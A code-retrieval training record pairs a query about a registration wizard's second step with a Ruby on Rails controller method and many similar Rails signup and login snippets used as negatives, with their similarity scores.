"0.4484421" ]
0.0
-1
Shows the second step for the registration
def step_2 @influencer = current_user.influencer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def second_step\n\t\trender :layout => 'signup' \n\t\tend", "def new\n #showing the registration page\n end", "def account_details_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_user_details_path\n end", "def step2\n user = User.new\n user.first_name = params[:first_name]\n user.last_name = params[:last_name]\n user.email = params[:username]\n user.email_confirmation = params[:username_confirmation]\n user.password = params[:password]\n user.password_confirmation = params[:password_confirmation]\n session[:user] = user\n if user.valid?\n session[:errors] = nil\n else\n session[:errors] = user.errors\n redirect_to admin_signup_step1_path\n end\n end", "def index\n @user = current_user\n render 'signup/step2'\n end", "def new\n if current_user\n flash[:notice] = 'you are already signed up'\n redirect_to home_path\n else\n @user = User.new\n render 'signup/step1'\n end\n end", "def finish_wizard_path\n admin_users_path\n end", "def new_show\n # def show\n\n # Clear the session on the first step, otherwise, load the Student\n if step == steps[0]\n reset_session\n @student = Student.create\n session[:student_id] = @student.id\n else\n @student = Student.find(session[:student_id])\n end\n\n # Render student gender pronouns\n if STUDENT_GENDER_PRONOUN_STEPS.include?(step)\n @student_gender_pronoun = genderToPronoun(@student.gender) # He/She\n @student_gender_possessive_pronoun = genderToPossessivePronoun(@student.gender) # His/Hers\n @student_gender_objective_pronoun = genderToObjectivePronoun(@student.gender) # Him/Her\n @student_gender_possessive_adjective = genderToPossessiveAdjective(@student.gender) # His/Her\n end\n\n render_wizard\n end", "def successful_registration_look_for_right_hand_side_content\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n end", "def registration\n @registration = Registration.for_user(current_user).for_olympiad(@olympiad).first\n @active_tab = params[:page] || \"me\"\n redirect_to :action=>\"register\" unless @registration\n end", "def redirect_to_finish_wizard(options = nil)\n redirect_to @setup, notice: \"You are ready to show your setup off to the world!\"\n end", "def redirect_to_finish_wizard(options = nil)\n redirect_to \"/adventures/#{@adventure.slug}\", notice: \"PENDING APPROVAL: <a href='/adventures/new'> Click to add another adventure </a> \"\n end", "def finish_wizard_path\n '/'\n end", "def submit_signup_details_without_password\n user = Users.signup_user_without_password\n enter_signup_details(user)\n # @pages.page_home.signup_register_button\n end", "def create\n @user = User.new(params[:user])\n\n if @user.valid?\n if params[:next_step] == 'end'\n @user.save\n redirect_to :action => 'index'\n else\n @user.step = params[:next_step]\n render :action => 'new'\n end\n else\n render :action => 'new'\n end\n end", "def account_details\n wizard_step(STEPS) { { next_step: :account_details_next_step } }\n end", "def signup_step2\n if defined? params[:token]\n @confirmation_token = params[:token] if defined? params[:token]\n if @user.confirmation_token == @confirmation_token\n respond_to do |format|\n format.html\n end\n end\n else\n redirect_to root_path, notice: \"Invalid Token\"\n end\n end", "def company_registered\n wizard_company_step(accounts_registration_address_url)\n end", "def show\n render_wizard\n end", "def new\n redirect_to new_password_signup_path\n end", "def create\n @step2 = Step2.new(params[:step2])\n\n respond_to do |format|\n if @step2.save\n format.html { redirect_to @step2, notice: 'Step2 was successfully created.' }\n format.json { render json: @step2, status: :created, location: @step2 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @step2.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration(login, pass, first_name, last_name)\n visit(HomePage)\n on(HomePage).register_element.when_visible($WT).click\n on(RegisterPage).user_login_element.when_visible($WT).send_keys login\n on(RegisterPage).user_password = pass\n on(RegisterPage).user_password_confirmation = pass\n on(RegisterPage).user_firstname = first_name\n on(RegisterPage).user_lastname = last_name\n on(RegisterPage).user_language = 'English'\n on(RegisterPage).user_mail = login + '@dd.dd'\n on(RegisterPage).submit\n end", "def address_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_org_contact_path\n end", "def show\n case step\n when :verify_mobile\n skip_step if current_user.mobile_verified?\n # TODO: Remove this once SMS provider has been added\n @otp = Redis.current&.get(current_user.id)\n when :enter_address\n skip_step if current_user.address_entered?\n @address = Address.find_or_initialize_by(user: current_user, address_type: :permanent)\n when :upload_docs\n skip_step if current_user.docs_uploaded?\n @user_document = UserDocument.find_or_initialize_by(user: current_user)\n end\n render_wizard\n end", "def account_for\n wizard_step(STEPS) { { setup_step: :setup_step, next_step: :account_for_next_step } }\n end", "def next_wizard_button(main_wizard_model, label = 'Next')\n submit_tag(\"#{label} &#8594;\") +\n hidden_direction_field\n end", "def confirmation\n load_step\n wizard_end\n end", "def user_details\n wizard_step(STEPS) { { after_merge: :save_account } }\n end", "def new\n super\n @title = \"Sign up\"\n logger.debug \"\\n\\t RegistrationsController#new \\n\\n\"\n end", "def user_next_step\n if (@user = User.find_by_id(params[:id]))\n \n if (UserNextStep.exist_step?(params[:step])) and (user_next_step = UserNextStep.find_or_create_by(:user_id => @user.id)) and (!user_next_step[params[:step].to_sym])\n # Petición POST?\n if request.post?\n \n user_next_step.update_attributes(:dashboard_help => true)\n respond_to do |format|\n format.html { render :nothing => true }\n format.js { render :nothing => true }\n end\n\n else\n @step = params[:step]\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js { render :template => 'users/user_next_step/next_step' }\n end\n end\n else\n error404\n end\n else\n error404\n end\n end", "def signup\r\n\t@title = \"Sign Up\"\r\n end", "def new_user_registration_path\n add_return_to_path('new_user_registration_path')\n end", "def login_instructions\n end", "def new\n \t@client = Client.new\n @page_title = \"Registration\"\n end", "def create\n @next_step = NextStep.new(params[:next_step])\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to :back, notice: 'Next step was successfully created.' }\n format.json { render json: @next_step, status: :created, location: @next_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @next_step = NextStep.new(next_step_params)\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to @next_step, notice: 'Next step was successfully created.' }\n format.json { render :show, status: :created, location: @next_step }\n else\n format.html { render :new }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @step2 = Step2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @step2 }\n end\n end", "def start_registration\r\n \r\n end", "def successful_registration\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n return parse_message(find_div_with_success_message)\n end", "def register_page\n render template: \"/register/registerPage\"\n end", "def redirect_invalid_step\n if invalid_steps.include? step\n redirect_to wizard_path(wizard_steps[0])\n end\n end", "def failure\n redirect_to new_user_registration_url, notice: 'something went wrong!'\n end", "def signup\n end", "def signup\n end", "def show\n \n \n if !current_user.email.in?@study.discover_users\n redirect_to :back, notice: \"You are not a discover user on this study\"\n \n else\n render :layout=>\"study_steps\", :locals=>{:in_association=>false, :wizard_path=>study_steps_path+'/contributor'}\n\n end\n \n \n \n end", "def new\n @user = User.new\n \n respond_to do |format|\n format.html do\n case params[:registration_method] \n when 'third_party'\n redirect_to new_third_party_registration_path\n end\n end\n end\n end", "def signup_step1\n unless defined? params[:signup_email] or params[:signup_password]\n flash[:error] = \"Fields can't be blank !\"\n render :js => form_err_js(:signup_email, \"Please put your email and password. Fields can't be blank !\")\n else\n\n @email = params[:signup_email] if defined? params[:signup_email]\n @password = params[:signup_password] if defined? params[:signup_password]\n\n if defined? params[:type]\n case params[:type]\n when 'Student'\n @user = Student.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Teacher'\n @user = Teacher.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Coach'\n @user = Coach.create(:email => @email, :password => @password, :password_confirmation => @password)\n end\n redirect_to root_path, notice: \"Please check your Inbox for Account Confirmation Mail!\" if @user\n end\n end\n end", "def call\n add_fields(confirm_registration: true)\n end", "def enter_register_information(user) \r\n puts \"+ <action> enter_register_information --- begin\"\r\n adobe_id_frame_enter_username(user[:email_address])\r\n adobe_id_frame_enter_password_2(user[:password])\r\n adobe_id_frame_retype_password(user[:retype_pass])\r\n adobe_id_frame_firstname_input(user[:first_name])\r\n adobe_id_frame_lastname_input(user[:last_name])\r\n adobe_id_select_country_region(user[:country_region])\r\n\r\n create_btn.click\r\n sleep 5\r\n puts \"+ <action> enter_register_information --- end\"\r\n\r\n if warning_display? \r\n return adobe_id_frame_warning_message.text\r\n end\r\n\r\n end", "def test_registration_succeeds\n user = User.new randomize: true\n # Submit, but don't validate success, so we can assert below\n AllPages.registration_page.register(submit: true, validate_success: false, user: user)\n\n assert(AllPages.registration_page.validate_registration_success, 'The success page was not displayed after registration')\n end", "def account_for_next_step\n return accounts_registration_taxes_path if AccountType.individual?(@account.account_type)\n\n return accounts_registration_company_path unless AccountType.registered_organisation?(@account.account_type)\n\n accounts_registration_company_registered_path\n end", "def displayLoginPage()\n\t# User Name: \n\t# Password:\n\t# Forgot Password?\tNew User?\n\treturn\nend", "def new\n unless @student.status_application_form_submitted?\n flash[:error] = \"Invalid step\"\n redirect_to root_path\n return\n end\n end", "def signup\n @teacher = Teacher.new\n render 'signup', :layout => false\n end", "def after_sign_up_path_for(resource)\n :new_reparation\nend", "def step_1\n @user = @current_user\n @image = Image.new\n \n\n if request.get?\n if session[:omniauth]\n @current_user.desc = session[:omniauth][\"info\"][\"description\"]\n if session[:omniauth][\"provider\"] == \"weibo\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"image\"]\n elsif session[:omniauth][\"provider\"] == \"qq_connect\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"figureurl_1\"]\n end\n session[:omniauth] = nil\n end\n @jumpto_url = session[:jumpto]\n session[:jumpto] = nil\n return redirect_to @jumpto_url if @jumpto_url\n render(:template => \"users/step_1\", :layout => \"register\")\n else\n if @user.update_attributes(params[:user])\n redirect_to user_url(@user)\n else\n return\n end\n #redirect_to step_2_user_url(@user)\n end\n end", "def create_step1\n session[:current_user_address] = params[:user][:address]\n redirect_to welcome_step2_path\n end", "def new\n reset_session_key(:user, :new, {})\n redirect_to admin_user_step_path(id: 'identity')\n end", "def send_register_confirmation\n jump_to(\"/accounts/#{session[:account_id]}/register_confirmation\")\n end", "def show\n\t#@step = user_information\n end", "def register\n\t\ttype = @view.type_client\n\t\t# user_attributes = @view.display_register\n\t\tif type == \"admin\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Admin.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"vendor\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Vendor.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"client\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Client.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telse\n\t\t \tputs \"Try again\"\n\t\t \tputs \"\"\n\t\t \toption = @view.initial_view\n\t\t \tselect(option)\n\t\tend\n\tend", "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end", "def edit\n redirect_to wizard_path(steps[0])\n end", "def new\n redirect_to root_path, :notice => \"Please click 'Sign Up'\"\n end", "def create\n session[:society_params].deep_merge!(society_params) if society_params &&session[:society_params]\n @society =Society.new(session[:society_params])\n\n @society.current_step = session[:society_step]\n\n if @society.valid?\n if params[:back_button]\n @society.previous_step\n elsif @society.last_step?\n @society.save if @society.all_valid?\n else\n @society.next_step\n end\n session[:society_step] = @society.current_step\n end\n if @society.new_record?\n render \"new\"\n else\n session[:society_step] = session[:society_params] = nil\n flash[:notice] = \"Registration is pending, we will confirm as soon as possible!\"\n render \"show\"\n end\n end", "def load_wizard\n begin\n setup_wizard\n rescue InvalidStepError\n redirect_to wizard_path(wizard_steps[0])\n end\n end", "def success_signup\n redirect_to root_path if flash[:notice].nil? || flash[:notice] != t('devise.registrations.signed_up_but_inactive')\n end", "def former_student2\n flash[:notice] = t('graduate')\n redirect_to graduation_batch_transfer_path(@batch)\n end", "def after_sign_up_path_for(resource)\n user_steps_path\n end", "def switch_wizard_page(direction)\n send(direction)\n end", "def final\n\n\t\tif current_vendor.update_attributes(params[:vendor])\n\n\t\tcurrent_vendor.save # TODO: needed?\n\t\tredirect_to profile_vendors_path(current_vendor)\n\t\telse\n\n\t\trender :action => :second_step, :layout => 'signup'\n\t\tend\n\t\tend", "def more_login\n page(FooterTabBarPage).select_tab(\"Profile\")\n page(LoginPage).await\n page(LoginPage).login(\"valid\")\n end", "def registration\n user.registration_for course\n end", "def new\n @title = _(\"Recover Password\")\n render\n end", "def show\n @user = current_user\n render_wizard\n end", "def show\n @user = current_user\n render_wizard\n end", "def show\n @user = current_user\n render_wizard\n end", "def new\n @next_step = NextStep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_step }\n end\n end", "def new #login page\n end", "def new\n if signed_in?\n @post = Post.new\n #@step_string = \"no-steps\"\n\n else\n flash[:error] = \"Please sign in to post\"\n redirect_to('/signin')\n end\n\n \n end", "def show\n @user = current_user || User.new\n case step\n when :select_language\n skip_step if I18n.locale.present?\n end\n\n case step\n when :select_country\n session[:locale] = params[:locale]\n end\n\n case step\n when :accept_terms\n session[:country] = params[:user][:country]\n end\n\n case step\n when :refuse\n end\n render_wizard\n end", "def create\n @registration_detail2 = RegistrationDetail2.new(registration_detail2_params)\n\n respond_to do |format|\n if @registration_detail2.save\n format.html { redirect_to @registration_detail2, notice: 'Registration detail2 was successfully created.' }\n format.json { render :show, status: :created, location: @registration_detail2 }\n else\n format.html { render :new }\n format.json { render json: @registration_detail2.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_update\n @student = Student.find(session[:student_id])\n\n case step\n # Student name and birthplace\n when :student_name\n return update_student_name(@student)\n\n # Student name and birth info\n when :student_gender_and_ethnicity\n return update_student_gender_and_ethnicity(@student)\n\n when :student_language\n return update_student_language(@student)\n\n end\n\n\n # set_next_step = next_step\n # jump_to set_next_step\n return render_wizard\n end", "def after_sign_up_path_for(resource)\n # flash[:notice] = 'You must create a Profile'\n '/profiles/new'\n end", "def new\n @partner_sign_in = true\n render layout: 'sign_pages'\n end", "def completed_registration\n if user_signed_in?\n unless current_user.has_role?('admin') || request.fullpath =~ /sign_out/ || current_user.needs_update_email?\n redirect_to new_setup_fee_payment_payments_url unless current_user.is_setup_fee_paid?\n end\n end\n end", "def after_sign_in_path_for(user)\n if user.registration_complete\n \t dashboard_index_path\n else\n edit_user_registration_path\n end\n end", "def gym_register\n TTY::Prompt.new.select(\"Select a gym to register:\", per_page: 20) do |menu|\n Gym.all.map do |gym|\n menu.choice \"#{gym.name}\", -> {self.register_action(gym)}\n end\n menu.choice \"Back\" \n end\n end", "def first_stage_info\n stripe = StripeCustom.new(params[:user])\n\n if stripe.met_verification\n account = Account.new(current_user.stripe_id)\n first_stage = account.update_first_stage_info( stripe, current_user )\n redirect_to second_stage_info_path\n else\n @agreement_accepted = true\n flash[:error] = \"Please provide all the details\"\n render :index\n end\n end", "def after_sign_up_path_for(resource)\n matcher_steps_path\n end", "def add_friends_wizard\n @user = params[:id] ? User.active.find(params[:id]) || current_actor : current_actor\n raise Kroogi::NotPermitted unless permitted?(@user, :profile_edit)\n render :partial => 'add_friends_wizard', :locals => {:start_following_step => params[:start_following_step] == 'true'}\n end", "def after_sign_up_path_for(resource)\n :new_profile # Or :prefix_to_your_route\n end", "def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end", "def finish_wizard_path\n @algorithm.set_status(:validating, 'Information are currently validated.')\n ValidateAlgorithmJob.perform_later(@algorithm.id)\n algorithms_path\n end", "def new\n @registration = Registration.new\n\n respond_to do |format|\n format.html { render :layout => 'startup_page' }\n format.json { render json: @registration }\n end\n end", "def show\n\t\t@user = current_user\n\t\trender_wizard\n\tend", "def show\n \tputs \"sdfsdfsdfagdagergrgaefe43543534543\"\n unless current_user.otp_required_for_login?\n current_user.unconfirmed_otp_secret = User.generate_otp_secret\n current_user.save!\n puts two_factor_otp_url\n @qr = generate_qr(two_factor_otp_url) \n render 'new'\n end\n end", "def step_1\n render 'step_1.html', layout: false\n end", "def new_teacher_registration(form_params = {}); new_registration(form_params); end", "def new\n\n if params[:user].nil?\n return\n end\n\n @user.registration_code = params[:user][:registration_code]\n\n registration_code = RegistrationCode.find_by_code(params[:user][:registration_code])\n\n if @code_valid then\n if @registration_code.role.participant? && !User.registrations_open?\n redirect_to \"/register\", :alert => \"Sorry, registration is not yet open. Check back from Week 2 of semester.\"\n else\n render \"new_\"+@code_valid\n end\n else\n render \"new\"\n end\n end", "def create\n if params[:password] == params[:password2]\n values = params[:person]\n values[:password] = params[:password] \n @person = Person.new(values)\n @person.password = params[:person][:password]\n if @person.save\n flash[:notice] = 'Person erfolgreich registriert'\n redirect_to :action => 'show', :id => @person\n else\n params[:person][:password2] = \"\";\n params[:person][:password] = \"\";\n render :action => 'register', :person => params[:person]\n end\n else\n flash[:notice] = 'Bitte überprüfen Sie ihre Eingabe'\n render :action => 'register', :person => params[:person]\n end\n end" ]
[ "0.7656952", "0.66078496", "0.6399284", "0.6202302", "0.61492914", "0.6026653", "0.601157", "0.5997887", "0.59729314", "0.5954312", "0.59086066", "0.58838135", "0.5882579", "0.58749783", "0.5864677", "0.58415335", "0.58291936", "0.5821661", "0.580713", "0.58062404", "0.5799884", "0.57937866", "0.5749537", "0.574406", "0.572659", "0.57054883", "0.57006407", "0.5681576", "0.56806976", "0.5655274", "0.56517255", "0.5649508", "0.5645611", "0.5629285", "0.5614145", "0.56093186", "0.55931944", "0.55913824", "0.5576197", "0.55715483", "0.55706924", "0.5559423", "0.5557264", "0.5557264", "0.5551272", "0.5548684", "0.55455863", "0.55231744", "0.55086935", "0.55048233", "0.5503275", "0.54966843", "0.5493666", "0.54933953", "0.5475524", "0.54731333", "0.5468742", "0.5467536", "0.5461212", "0.5460447", "0.54531693", "0.5405704", "0.54022306", "0.5401727", "0.5396208", "0.53953993", "0.53948313", "0.53899795", "0.53864026", "0.53734314", "0.53636974", "0.53613436", "0.53560823", "0.53537047", "0.5350861", "0.5350861", "0.5350861", "0.53499836", "0.5344921", "0.5344348", "0.53377604", "0.53364587", "0.53319263", "0.5328358", "0.5313921", "0.5313921", "0.5308463", "0.53070223", "0.5299917", "0.52967215", "0.527782", "0.52761424", "0.5260395", "0.5257156", "0.5253091", "0.5251504", "0.5246015", "0.5241234", "0.5237705", "0.523657", "0.52363706" ]
0.0
-1
Process the second step for the registration
def process_step_2 @influencer = current_user.influencer if @influencer.update_attributes(params[:influencer]) redirect_to action: :step_3 else render action: :step_2 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def finish_register\n end", "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end", "def start_registration\r\n \r\n end", "def successful_registration_look_for_right_hand_side_content\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n end", "def step2\n user = User.new\n user.first_name = params[:first_name]\n user.last_name = params[:last_name]\n user.email = params[:username]\n user.email_confirmation = params[:username_confirmation]\n user.password = params[:password]\n user.password_confirmation = params[:password_confirmation]\n session[:user] = user\n if user.valid?\n session[:errors] = nil\n else\n session[:errors] = user.errors\n redirect_to admin_signup_step1_path\n end\n end", "def register\n \n end", "def successful_registration\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n return parse_message(find_div_with_success_message)\n end", "def register\n if request.post?\n @user.update_attributes params['user']\n if @user.valid?\n after_register\n redirect_to welcome_path and return\n else\n if @user.errors[:email].include?(\"Already Taken\")\n # Look up the already-existing user, set the current tracker to that user, and send them along\n right_user = User.where(:email => @user.email).first\n @tracker.user_id = right_user.id\n cookies[:user_id] = right_user.id\n session[:email_pwd] = params['user']['email_password']\n @user = right_user\n @tracker.log(:existing_user_returned, \"Existing user #{@user.email} got into the landing path again.\")\n increment_page\n redirect_to welcome_path and return\n else\n @tracker.log(:failed_register, \"User creation failed with message: #{@user.errors.full_messages.join(\", \")}\")\n end\n end\n end\n render_path_page\n end", "def finish_registration\n sp = SetupParams.find(get_sp)\n user = current_user\n if user.nil?\n user = User.new(sp.user)\n user.setup_flag = true\n user.save(false)\n UserSession.create(user)\n end\n group = Group.new(sp.group)\n group.user_id = user.id\n group.expiration_date = Time.now + 7.days\n group.save\n if params[:from_facebook]\n data1 = current_fb_session(sp.access_token).me\n type = 'large'\n begin\n group.picture_from_url(\"https://graph.facebook.com/#{data1.id}/picture?type=#{type}\")\n rescue\n end\n else\n if !sp.fb_ids.nil? and !sp.fb_ids['0'].nil?\n type = 'large'\n begin\n group.photo = group.picture_from_url(\"https://graph.facebook.com/#{sp.fb_ids['0']}/picture?type=#{type}\")\n rescue\n end \n else\n begin\n group.photo = TempImage.find(sp.photo_id.to_i).photo\n TempImage.destroy(sp.photo_id.to_i)\n rescue\n end\n end\n end\n group.save\n Emailer.deliver_user_credentials(user.groups.current_group, user)\n preference = Preference.new(sp.preference)\n preference.group_id = group.id\n preference.save\n 0.upto(group.size - 2) do |n|\n member = Member.new(sp.members[n.to_s])\n if params[:from_facebook]\n type = 'large'\n \tbegin\n \t data = sp.fb_ids[n.to_s]\n \trescue\n \t data = nil\n \tend\n if !data.nil?\n member.picture_from_url(\"https://graph.facebook.com/#{data['fbid']}/picture?type=#{type}\")\n end\n end\n member.save\n Membership.create(:group_id => group.id, :user_id => user.id, :member_id => member.id, :token => Digest::SHA1.hexdigest([Time.now, rand].join)[1..20])\n Emailer.deliver_group_members(member, user, user.groups.current_group)\n sleep(0.02)\n end\n session.delete :mpos\n session.delete :sp_id\n session.delete :reg_flow\n sp.destroy\n redirect_to congrats_users_url\n end", "def signup_step1\n unless defined? params[:signup_email] or params[:signup_password]\n flash[:error] = \"Fields can't be blank !\"\n render :js => form_err_js(:signup_email, \"Please put your email and password. Fields can't be blank !\")\n else\n\n @email = params[:signup_email] if defined? params[:signup_email]\n @password = params[:signup_password] if defined? params[:signup_password]\n\n if defined? params[:type]\n case params[:type]\n when 'Student'\n @user = Student.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Teacher'\n @user = Teacher.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Coach'\n @user = Coach.create(:email => @email, :password => @password, :password_confirmation => @password)\n end\n redirect_to root_path, notice: \"Please check your Inbox for Account Confirmation Mail!\" if @user\n end\n end\n end", "def signup_step2\n if defined? params[:token]\n @confirmation_token = params[:token] if defined? params[:token]\n if @user.confirmation_token == @confirmation_token\n respond_to do |format|\n format.html\n end\n end\n else\n redirect_to root_path, notice: \"Invalid Token\"\n end\n end", "def check_registration\n return unless Spree::Auth::Config[:registration_step]\n return if spree_current_user || current_order.email\n store_location\n redirect_to spree.checkout_registration_path\n end", "def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end", "def registration(login, pass, first_name, last_name)\n visit(HomePage)\n on(HomePage).register_element.when_visible($WT).click\n on(RegisterPage).user_login_element.when_visible($WT).send_keys login\n on(RegisterPage).user_password = pass\n on(RegisterPage).user_password_confirmation = pass\n on(RegisterPage).user_firstname = first_name\n on(RegisterPage).user_lastname = last_name\n on(RegisterPage).user_language = 'English'\n on(RegisterPage).user_mail = login + '@dd.dd'\n on(RegisterPage).submit\n end", "def final\n\n\t\tif current_vendor.update_attributes(params[:vendor])\n\n\t\tcurrent_vendor.save # TODO: needed?\n\t\tredirect_to profile_vendors_path(current_vendor)\n\t\telse\n\n\t\trender :action => :second_step, :layout => 'signup'\n\t\tend\n\t\tend", "def step_1\n @user = @current_user\n @image = Image.new\n \n\n if request.get?\n if session[:omniauth]\n @current_user.desc = session[:omniauth][\"info\"][\"description\"]\n if session[:omniauth][\"provider\"] == \"weibo\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"image\"]\n elsif session[:omniauth][\"provider\"] == \"qq_connect\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"figureurl_1\"]\n end\n session[:omniauth] = nil\n end\n @jumpto_url = session[:jumpto]\n session[:jumpto] = nil\n return redirect_to @jumpto_url if @jumpto_url\n render(:template => \"users/step_1\", :layout => \"register\")\n else\n if @user.update_attributes(params[:user])\n redirect_to user_url(@user)\n else\n return\n end\n #redirect_to step_2_user_url(@user)\n end\n end", "def company_registered\n wizard_company_step(accounts_registration_address_url)\n end", "def completed_registration\n if user_signed_in?\n unless current_user.has_role?('admin') || request.fullpath =~ /sign_out/ || current_user.needs_update_email?\n redirect_to new_setup_fee_payment_payments_url unless current_user.is_setup_fee_paid?\n end\n end\n end", "def register\r\n \r\n end", "def oneClickRegister\n @in_person_id = 320\n @opportunity_application = OpportunityApplication.new(opportunity_id: @in_person_id,\n user_id: current_user.id, reason_to_apply: '', opportunity_applications_type_id: 3)\n @opportunity = Opportunity.find(@in_person_id)\n @opportunity_application.save!\n if @opportunity_application.save!\n public_opportunities_users = OpportunitiesUser.new(opportunity_id: @in_person_id)\n public_opportunities_users.user = current_user\n public_opportunities_users.save\n public_opportunities_users.each do |ou|\n CompetenciesUser.new(user_id: ou.id)\n end\n redirect_to root_url,\n notice: 'Your registration for the speaker series is complete. You can now continue to explore additional skills.'\n end\n end", "def second_step\n\t\trender :layout => 'signup' \n\t\tend", "def create\n p = params[:registration]\n training = Training.find_by_code(p[:training_code])\n owner = Student.find_by_wp_email(p[:owner_email])\n reg_type = p[:reg_type]\n if reg_type == 'single-self'\n registerable = owner\n elsif reg_type == 'single-other'\n registerable = Student.find_by_wp_email(p[:registrant_email])\n else \n registerable = Group.find_by_handle(p[:group_handle])\n end\n @registration = Registration.new(reg_type: reg_type)\n @registration.owner = owner\n @registration.registerable = registerable\n @registration.training = training\n\n # Fix this. We need to have a sequence in the database.\n @registration.code = 100000 + rand(900000)\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'Registration was successfully created.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html do\n @trainings = Training.all\n render :new\n end\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_registration_succeeds\n user = User.new randomize: true\n # Submit, but don't validate success, so we can assert below\n AllPages.registration_page.register(submit: true, validate_success: false, user: user)\n\n assert(AllPages.registration_page.validate_registration_success, 'The success page was not displayed after registration')\n end", "def signup_complete\n\n if params[:signup_complete_form]\n \n @signup_complete_form = SignupCompleteForm.new(params[:signup_complete_form])\n\n if @signup_complete_form.valid?\n \n # try and create the member in sfdc\n new_member_create_results = CsApi::Account.create(SfdcConnection.admin_dbdc_client.oauth_token, params[:signup_complete_form]).symbolize_keys!\n logger.info \"[SessionsController]==== creating a new third party user with email address (#{@signup_complete_form.email}): #{new_member_create_results.to_yaml}\"\n \n # if the user was created successfully in sfdc\n if new_member_create_results[:success].eql?('true')\n \n # delete the user if they already exists\n User.delete(User.find_by_username(new_member_create_results[:username]))\n \n user = User.new(:username => new_member_create_results[:username], \n :sfdc_username => new_member_create_results[:sfdc_username], \n :password => Encryptinator.encrypt_string(ENV['THIRD_PARTY_PASSWORD']))\n \n logger.info \"[SessionsController]==== try to save #{@signup_complete_form.email} to the database\"\n\n if user.save\n logger.info \"[SessionsController]==== saving #{@signup_complete_form.email} to the database\"\n # sign the user in\n sign_in user\n logger.info \"[SessionsController]==== #{@signup_complete_form.email} successfully signed in\"\n # send the 'welcome' email -- taken care of by the API now\n # Resque.enqueue(WelcomeEmailSender, current_access_token, new_member_create_results[:username]) unless ENV['MAILER_ENABLED'].eql?('false')\n # add the user to badgeville\n Resque.enqueue(NewBadgeVilleUser, current_access_token, new_member_create_results[:username], new_member_create_results[:sfdc_username]) unless ENV['BADGEVILLE_ENABLED'].eql?('false')\n unless session[:marketing].nil?\n # update their info in sfdc with the marketing data\n Resque.enqueue(MarketingUpdateNewMember, current_access_token, new_member_create_results[:username], session[:marketing]) \n # delete the marketing session hash\n session.delete(:marketing)\n end\n # check for any referral & update the record with the newly created member\n unless session[:referral].nil?\n Resque.enqueue(ProcessReferral, session[:referral], new_member_create_results[:username]) \n # delete the referral_id session hash\n session.delete(:referral)\n end\n redirect_to welcome2cloudspokes_path\n else\n logger.error \"[SessionsController]==== error creating a new third party member after manually entering their email address. Could not save to database.\"\n render :inline => \"Whoops! An error 